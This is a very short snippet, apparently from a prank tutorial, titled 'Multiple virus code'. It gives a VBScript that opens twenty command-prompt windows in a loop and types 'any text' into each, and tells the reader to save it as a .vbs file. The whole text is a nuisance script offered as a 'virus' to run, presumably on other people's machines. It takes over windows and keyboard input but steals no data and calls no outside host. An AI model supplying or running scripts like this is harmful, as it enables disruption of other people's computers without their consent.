Multiple virus code

Set x=WScript.CreateObject("WScript.Shell")
for i = 1 to 20
x.Run"cmd.exe",9
wscript.sleep 500
x.SendKeys"any text"
next
Copy and paste in notepad
And save it as file name.vbs